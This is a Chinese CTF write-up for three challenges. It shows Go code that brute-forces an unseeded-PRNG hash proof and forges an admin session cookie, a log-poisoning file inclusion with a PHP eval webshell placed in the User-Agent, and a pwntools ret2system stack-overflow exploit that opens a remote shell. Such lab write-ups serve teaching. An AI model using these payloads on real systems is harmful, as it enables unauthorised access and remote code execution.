Web

Checkin_Go

这题还真是够 checkin 的。。。

首先注意到,在main.go 这里,Go中的 randomChar 并没有设定随机种子,所以实际上是伪随机,程序开始时的 cookie.NewStore(randomChar(16)) 其实是固定的。

在 loginGetHandler 这里,注意到有一句 hsh := hashProof() ,实际上是在此设定了登录所需的 hash。同时,我们再来看这个代码

  1. func hashProof() string {
  2. hsh := md5.New()
  3. hsh.Write(randomChar(6))
  4. return fmt.Sprintf("%x", hsh.Sum(nil))[:6]
  5. }

这里也是没有设定随机种子的,这就意味着我们可以对其进行猜测。比如网站给出的前缀是 8240ba,我们可以写这样一个小程序来碰撞。此处输出的是十六进制的字符串,我们在post的时候要注意把字符串进行 urlencode ,这里使用 %隔两个填充一次即可。

hsh := md5.New()
    for {
        hsh.Reset()
        str := randomChar(6)
        hsh.Write(str)
        hash1 := fmt.Sprintf("%x", hsh.Sum(nil))
        if hash2 := hash1[:6]; hash2 == "8240ba" {
            fmt.Printf("%x", str)
            break
        }
    }

注意,在 auth := r.Group("/auth/",hashProofRequired()) 中有个判断,

if md5Hash(c.PostForm("hsh"))[:6] != hsh {
    fmt.Println(hsh)
    c.String(200, "wrong hash")
    c.Abort()
}

我们要post的是hsh的原文而不是md5加密后的,所以我们上面才要进行urlencode。

这里并没有进行登录账号密码验证,但是限制非admin的验证,所以我们先随意用户登录。

if uname == "admin"{
    c.String(200,"noon,you cant be admin")
    return
}
if uname == "" || pwd == "" {
    c.String(200, "empty parameter")
    return
}

登录完成后会跳转到 /game ,同时我们在 guess.go/start() 中将会获得flag以及player的money,并会写入到 cookie: o 中。

这里提供了 /add 来添加钱,不过实际上我们并不需要用到这个钱,而且这个钱是加在flag上的,很明显flag的钱够多了,我们不需要加在flag上。而且其中有一个 check 来检查,我们似乎无法直接修改其金钱。但是我们可以自己构造一个小程序,把 playerMoney 和 NowMoney 调换一下。

r := gin.Default()
storage := cookie.NewStore(randomChar(16))
r.Use(sessions.Sessions("o", storage))
r.GET("/", func(c *gin.Context) {
    s := sessions.Default(c)
    s.Set("uname", "admin")
    checkPlayerMoney := s.Get("checkPlayerMoney")
    checkNowMoney := s.Get("checkNowMoney")
    s.Set("checkNowMoney", checkPlayerMoney)
    s.Set("checkPlayerMoney", checkNowMoney)
    playerMoney := s.Get("playerMoney")
    nowMoney := s.Get("nowMoney")
    s.Set("nowMoney", playerMoney)
    s.Set("playerMoney", nowMoney)
    s.Save()
})
r.Run("0.0.0.0:8081")

然后拿到返回的 cookie,再传给线上环境,访问 /game 并购买 flag 得到 flag。

only4

我估计这题是个非预期解,,,

这题本质是想让你走反序列化的,但是拿到 webshell 以后上去一看,好家伙 serialize.php 这文件名谁能猜得出来?

include($gwht); 中存在文件引用,

在 /var/www/example.com/log/access.log 中,或者 /proc/self/fd/8 可以获得访问日志,然后 User-Agent 改为 <?php eval($_POST[0]); ?> 即可实现一句话木马拿到 webshell 。flag 在根目录。

PWN

BabyRop

checksec检查文件保护;运行一下文件
image.png
32位程序,开启NX保护
IDA分析文件:
image.png
进入Go函数:
image.png
存在栈溢出漏洞。
寻找system函数和‘sh’字符串
image.png
image.png
还需要知道栈长度,可以IDA查看
image.png

exp思路

填充字符造成栈溢出后用system函数覆盖ret,字符串‘sh’作为参数,从而getshell
exp:

from pwn import *

#p = process('./BabyRop')
p = remote('192.168.40.187',11000)

system_addr = 0x080490A0
sh_addr = 0x0804c029
payload = b'a' * 44 + p32(system_addr) + p32(0xdeadbeef) + p32(sh_addr)
p.sendline(payload)
p.interactive()

image.png